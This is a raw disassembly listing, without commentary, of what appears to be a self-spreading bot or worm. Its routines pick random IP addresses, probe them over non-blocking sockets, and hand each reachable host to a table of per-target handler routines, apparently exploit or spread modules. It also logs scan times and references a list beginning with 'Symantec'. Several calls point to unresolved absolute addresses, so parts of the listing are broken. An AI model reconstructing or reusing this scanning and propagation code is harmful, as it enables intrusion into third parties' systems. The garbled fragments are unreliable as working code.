arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, dword_4CDA80
		mov	ecx, dword_4CDA7C
		push	esi
		push	dword_4CACB4
		lea	esi, [ecx+eax]
		call	sub_41A88B
		pop	ecx
		push	eax
		push	esi
		push	dword_4CDA80
		lea	eax, [ebp+var_200]
		push	dword_4CDA7C
		push	offset unk_4317C4
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 30h
		pop	esi
		leave
		retn
sub_40B719	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B785	proc near		; CODE XREF: sub_401ACD+2AC9p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	dword_4CACB4
		call	sub_41A88B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	dword_4CDCC4
		push	offset unk_43180C
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 28h
		leave
		retn
sub_40B785	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B7DA	proc near		; CODE XREF: sub_401ACD+2AB3p

var_1000	= byte ptr -1000h
var_800		= byte ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41BB20
		push	edi
		lea	eax, [ebp+var_800]
		push	offset dword_431858
		push	eax
		call	sub_41B886
		cmp	dword_431408, 0
		pop	ecx
		pop	ecx
		mov	edi, 800h
		jz	short loc_40B846
		push	esi
		mov	esi, offset aSymantec ;	"Symantec"


loc_40B80F:				; CODE XREF: sub_40B7DA+69j
		lea	eax, [esi-0Ah]
		push	eax
		push	esi
		lea	eax, [ebp+var_1000]
		push	offset dword_431848
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C1E0
		add	esi, 40h
		add	esp, 1Ch
		cmp	dword ptr [esi+1Eh], 0
		jnz	short loc_40B80F
		pop	esi


loc_40B846:				; CODE XREF: sub_40B7DA+2Dj
		push	dword_4CACB4
		call	sub_41A88B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1000]
		push	offset aScanTimeS_ ; " Scan Time: %s."
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C1E0
		push	0
		lea	eax, [ebp+var_800]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_4151AC
		add	esp, 30h
		pop	edi
		leave
		retn
sub_40B7DA	endp

; ---------------------------------------------------------------------------
byte_40B8A1	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+30E0o
; ---------------------------------------------------------------------------
		sub	esp, 3F0h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Bh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-134h]
		rep movsd
		mov	dword ptr [eax+128h], 1
		lea	eax, [ebp-134h]
		push	eax
		call	dword_4CAFB4
		xor	edi, edi
		mov	[ebp-8], eax
		cmp	dword_431408, edi
		mov	[ebp-4], edi
		mov	[ebp+8], edi
		jz	loc_40BA03
		mov	ebx, offset dword_431408
		mov	eax, ebx


loc_40B8F2:				; CODE XREF: ___:0040B9FDj
		push	dword ptr [ebp-1Ch]
		push	dword ptr [eax]
		push	dword ptr [ebp-8]
		call	sub_40C087
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_40B9F3
		push	dword ptr [ebx]
		lea	esi, [ebx-28h]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [esi+0Ah]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_4318A8
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409A72
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_4151AC
		add	esp, 2Ch
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-1ECh]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp-15Ch]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		cmp	byte ptr [ebp-0A4h], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp-0A4h]
		jnz	short loc_40B98E
		lea	eax, [ebp-124h]


loc_40B98E:				; CODE XREF: ___:0040B986j
		push	eax
		lea	eax, [ebp-1DCh]
		push	eax
		call	sub_41B886
		mov	eax, [ebp-24h]
		pop	ecx
		mov	[ebp-1F0h], eax
		mov	eax, [ebp-14h]
		mov	[ebp-140h], eax
		mov	eax, [ebp-10h]
		pop	ecx
		mov	[ebp-13Ch], eax
		mov	eax, [ebx]
		sub	esp, 0BCh
		mov	[ebp-150h], eax
		mov	eax, [ebp-18h]
		push	2Fh
		mov	[ebp-14Ch], eax
		mov	eax, [ebp+8]
		pop	ecx
		lea	esi, [ebp-1F0h]
		mov	edi, esp
		mov	[ebp-148h], eax
		rep movsd
		call	dword ptr [ebx+4]
		add	esp, 0BCh
		inc	dword ptr [ebp-4]
		xor	edi, edi


loc_40B9F3:				; CODE XREF: ___:0040B905j
		inc	dword ptr [ebp+8]
		add	ebx, 40h
		mov	eax, ebx
		cmp	[ebx], edi
		jnz	loc_40B8F2


loc_40BA03:				; CODE XREF: ___:0040B8E5j
		push	dword ptr [ebp-4]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_431874
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409A72
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-18h]
		call	sub_40B412
		add	esp, 2Ch
		push	edi
; ---------------------------------------------------------------------------
		dd 2C45ABE8h
		db 2, 90h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA56	proc near		; CODE XREF: sub_401ACD+244Ep

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	0Bh
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_40BA92
		mov	eax, [ebp+arg_C]
		push	dword_4CB0C0[eax*8]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_4318F8
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_40BAA5
; ---------------------------------------------------------------------------


loc_40BA92:				; CODE XREF: sub_40BA56+13j
		lea	eax, [ebp+var_200]
		push	offset unk_4318D8
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_40BAA5:				; CODE XREF: sub_40BA56+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 18h
		leave
		retn
sub_40BA56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BACD	proc near		; CODE XREF: sub_40C124+267p

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_40BF9F
		shl	eax, 6
		xor	ebx, ebx
		cmp	dword_431414[eax], ebx
		jz	loc_40BF9F
		push	5
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_40BD54
		mov	eax, dword_429078
		push	edi
		mov	esi, offset dword_4CD17C
		push	104h
		push	esi
		push	ebx
		mov	dword_4CD38C, eax
		mov	dword_4CD388, ebx
		call	near ptr 2660000h
		nop
		mov	edi, offset byte_429108
		push	103h
		push	edi
		push	offset dword_4CD280
		call	sub_41B5F0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CD178, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_4CD410, eax
		jnz	short loc_40BB80
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD390
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD414, 1
		jmp	short loc_40BB9A
; ---------------------------------------------------------------------------


loc_40BB80:				; CODE XREF: sub_40BACD+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CD390
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD414, ebx


loc_40BB9A:				; CODE XREF: sub_40BACD+B1j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CD38C
		push	offset unk_42BE5C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	dword_4CD384, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD178
		push	offset word_411796
		push	ebx
		push	ebx
		nop
		call	near ptr 2670659h
		mov	ecx, dword_4CD384
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40BC08


loc_40BBF6:				; CODE XREF: sub_40BACD+139j
		cmp	dword_4CD418, ebx
		jnz	short loc_40BC23
		push	32h
		call	near ptr 26705B3h
		nop
		jmp	short loc_40BBF6
; ---------------------------------------------------------------------------


loc_40BC08:				; CODE XREF: sub_40BACD+127j
		call	near ptr 2680000h
		nop
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431A18
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BC23:				; CODE XREF: sub_40BACD+12Fj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		mov	eax, dword_4CACB0
		mov	esi, offset dword_4CD424
		mov	[esp+210h+var_210], 104h
		push	esi
		push	ebx
		mov	dword_4CD634, eax
		mov	dword_4CD630, ebx
		nop
		call	near ptr 2660000h
		push	103h
		push	edi
		push	offset dword_4CD528
		call	sub_41B5F0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CD420, eax
		mov	eax, [ebp+arg_138]
		pop	edi
		mov	dword_4CD6B8, eax
		push	7Fh
		jnz	short loc_40BCA4
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD638
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD6BC, 1
		jmp	short loc_40BCBE
; ---------------------------------------------------------------------------


loc_40BCA4:				; CODE XREF: sub_40BACD+1B8j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CD638
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD6BC, ebx


loc_40BCBE:				; CODE XREF: sub_40BACD+1D5j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CD634
		push	offset unk_4319E4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	dword_4CD62C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD420
		push	offset byte_40E991
		push	ebx
		push	ebx
		call	near ptr 2670659h
		nop
		mov	ecx, dword_4CD62C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40BD2C


loc_40BD1A:				; CODE XREF: sub_40BACD+25Dj
		cmp	dword_4CD6C0, ebx
		jnz	short loc_40BD47
		push	32h
		nop
		call	near ptr 26705B3h
		jmp	short loc_40BD1A
; ---------------------------------------------------------------------------


loc_40BD2C:				; CODE XREF: sub_40BACD+24Bj
		nop
		call	near ptr 2680000h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_4319B0
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BD47:				; CODE XREF: sub_40BACD+253j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_40BD54:				; CODE XREF: sub_40BACD+35j
		mov	eax, [ebp+arg_130]
		mov	ecx, eax
		shl	ecx, 6
		cmp	dword_43141C[ecx], ebx
		jz	loc_40BE7D
		push	7
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_40BE77
		mov	eax, dword_4CDCBC
		cmp	[ebp+arg_90], bl
		mov	dword_4CD0E4, eax
		mov	eax, [ebp+arg_110]
		mov	dword_4CD0D8, eax
		mov	eax, [ebp+arg_138]
		mov	dword_4CD0E0, ebx
		mov	dword_4CD168, eax
		push	7Fh
		jnz	short loc_40BDC8
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD0E8
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD16C, 1
		jmp	short loc_40BDE2
; ---------------------------------------------------------------------------


loc_40BDC8:				; CODE XREF: sub_40BACD+2DCj
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CD0E8
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD16C, ebx


loc_40BDE2:				; CODE XREF: sub_40BACD+2F9j
		push	dword_4CD0E4
		lea	eax, [ebp+var_204]
		push	offset unk_431980
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	7
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	dword_4CD0DC, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD0D8
		push	offset byte_40E6EF
		push	ebx
		push	ebx
		call	near ptr 2670659h
		nop
		mov	ecx, dword_4CD0DC
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40BE4F


loc_40BE3D:				; CODE XREF: sub_40BACD+380j
		cmp	dword_4CD170, ebx
		jnz	short loc_40BE6A
		push	32h
		call	near ptr 26705B3h
		nop
		jmp	short loc_40BE3D
; ---------------------------------------------------------------------------


loc_40BE4F:				; CODE XREF: sub_40BACD+36Ej
		nop
		call	near ptr 2680000h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431948
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BE6A:				; CODE XREF: sub_40BACD+376j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_40BE77:				; CODE XREF: sub_40BACD+2A8j
		mov	eax, [ebp+arg_130]


loc_40BE7D:				; CODE XREF: sub_40BACD+298j
		shl	eax, 6
		cmp	dword_431418[eax], ebx
		jz	loc_40BF9F
		push	3
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_40BF9F
		mov	esi, offset dword_4CD954
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 2660000h
		push	5Ch
		push	esi
		call	sub_41BE40
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40BEBE
		mov	[eax], bl


loc_40BEBE:				; CODE XREF: sub_40BACD+3EDj
		mov	eax, dword_42907C
		mov	dword_4CDA6C, ebx
		mov	dword_4CDA58, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD6CC
		call	sub_41B886
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_4CD6C8, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_4CDA58
		mov	dword_4CDA64, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_4CDA68, ecx
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42BDE4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	dword_4CDA60, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD6C8
		push	offset sub_40F0D5
		push	ebx
		push	ebx
		call	near ptr 2670659h
		nop
		mov	ecx, dword_4CDA60
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40BF77


loc_40BF65:				; CODE XREF: sub_40BACD+4A8j
		cmp	dword_4CDA74, ebx
		jnz	short loc_40BF92
		push	32h
		nop
		call	near ptr 26705B3h
		jmp	short loc_40BF65
; ---------------------------------------------------------------------------


loc_40BF77:				; CODE XREF: sub_40BACD+496j
		call	near ptr 2680000h
		nop
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431914
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BF92:				; CODE XREF: sub_40BACD+49Ej
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_40BF9F:				; CODE XREF: sub_40BACD+14j
					; sub_40BACD+25j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_40BACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFA3	proc near		; CODE XREF: sub_40C124:loc_40C195p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:4CB0C0h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4CAE9C
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4CAF70
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_41C310
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40BFA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFEB	proc near		; CODE XREF: sub_40C124+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_41AFE0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40C013
		xor	eax, eax
		jmp	short loc_40C084
; ---------------------------------------------------------------------------


loc_40C013:				; CODE XREF: sub_40BFEB+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_41C645
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_40C040
		call	sub_41B8E2
		mov	[ebp+var_C], eax


loc_40C040:				; CODE XREF: sub_40BFEB+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_40C04D
		call	sub_41B8E2
		mov	[ebp+var_8], eax


loc_40C04D:				; CODE XREF: sub_40BFEB+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40C05A
		call	sub_41B8E2
		mov	[ebp+var_4], eax


loc_40C05A:				; CODE XREF: sub_40BFEB+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_40C066
		call	sub_41B8E2


loc_40C066:				; CODE XREF: sub_40BFEB+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4CB0C0[ecx*8], eax


loc_40C084:				; CODE XREF: sub_40BFEB+26j
		pop	esi
		leave
		retn
sub_40BFEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C087	proc near		; CODE XREF: ___:0040B8FAp
					; sub_40C124+BBp

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_4CAFF4
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C0B0
		xor	eax, eax
		jmp	short loc_40C11F
; ---------------------------------------------------------------------------


loc_40C0B0:				; CODE XREF: sub_40C087+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_4CAF74
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CB010
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_4CAF1C
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_4CAF5C
		push	esi
		mov	edi, eax
		call	dword_4CB00C
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_40C11F:				; CODE XREF: sub_40C087+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C087	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C124	proc near		; DATA XREF: sub_40C124+353o

var_29C		= dword	ptr -29Ch
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_1CC		= byte ptr -1CCh
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_14C		= byte ptr -14Ch
var_140		= byte ptr -140h
var_13C		= byte ptr -13Ch
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		nop
		call	near ptr 2680D12h
		push	eax
		call	sub_41B8D8
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h


loc_40C16B:				; CODE XREF: sub_40C124+204j
		mov	eax, dword_43DEB4[ebx]
		cmp	dword_4CB0C4[eax*8], 0
		jz	loc_40C32D
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_40C195
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40BFEB
		pop	ecx
		jmp	short loc_40C19A
; ---------------------------------------------------------------------------


loc_40C195:				; CODE XREF: sub_40C124+60j
		call	sub_40BFA3


loc_40C19A:				; CODE XREF: sub_40C124+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_43DEB4[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_431A74
		push	eax
		call	sub_41B886
		add	esp, 18h
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_43DCB0[ebx]
		push	eax
		call	sub_41B886
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_40C087
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_40C31D
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_40C271
		push	offset dword_4CD0C0
		nop
		call	near ptr 77F7E21Fh
		push	[ebp+var_3C]
		push	edi
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_431A4C
		push	eax
		call	sub_41B886
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40C253
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C247
		lea	eax, [ebp+var_140]


loc_40C247:				; CODE XREF: sub_40C124+11Bj
		push	eax
		push	[ebp+var_40]
		call	sub_409A72
		add	esp, 14h


loc_40C253:				; CODE XREF: sub_40C124+100j
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4151AC
		mov	[esp+29Ch+var_29C], offset dword_4CD0C0
		call	near ptr 77F7E300h
		nop
		jmp	loc_40C31D
; ---------------------------------------------------------------------------


loc_40C271:				; CODE XREF: sub_40C124+D0j
		push	edi
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_41B886
		mov	eax, [ebp+var_20]
		pop	ecx
		shl	eax, 6
		pop	ecx
		add	eax, offset aSym ; "sym"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_41B886
		cmp	[ebp+var_C0], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C2B6
		lea	eax, [ebp+var_140]


loc_40C2B6:				; CODE XREF: sub_40C124+18Aj
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_41B886
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		pop	ecx
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		sub	esp, 0BCh
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		push	2Fh
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_168], esi
		mov	[ebp+var_164], eax
		lea	esi, [ebp+var_20C]
		mov	edi, esp
		shl	eax, 6
		rep movsd
		call	off_43140C[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_40C31D:				; CODE XREF: sub_40C124+C6j
					; sub_40C124+148j
		push	7D0h
		nop
		call	near ptr 26705B3h
		jmp	loc_40C16B
; ---------------------------------------------------------------------------


loc_40C32D:				; CODE XREF: sub_40C124+55j
		push	esi
		call	sub_40B412
		pop	ecx
		push	0
		nop
		call	near ptr 26D0000h


loc_40C33C:				; DATA XREF: sub_401ACD+1F81o
					; sub_401ACD+5C48o
		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_4CAFB4
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_4CB0C0[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40BACD
		push	0Bh
		call	sub_40B33E
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_40C40A
		mov	esi, offset dword_4CD0C0
		push	esi
		nop
		call	near ptr 26D070Fh
		push	80000400h
		push	esi
		nop
		call	near ptr 26D0578h
		test	eax, eax
		jnz	short loc_40C40A
		lea	eax, [ebp+var_1CC]
		push	offset unk_431B58
		push	eax
		call	sub_41B886
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_40C3F4
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409A72
		add	esp, 14h


loc_40C3F4:				; CODE XREF: sub_40C124+2B1j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AC
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
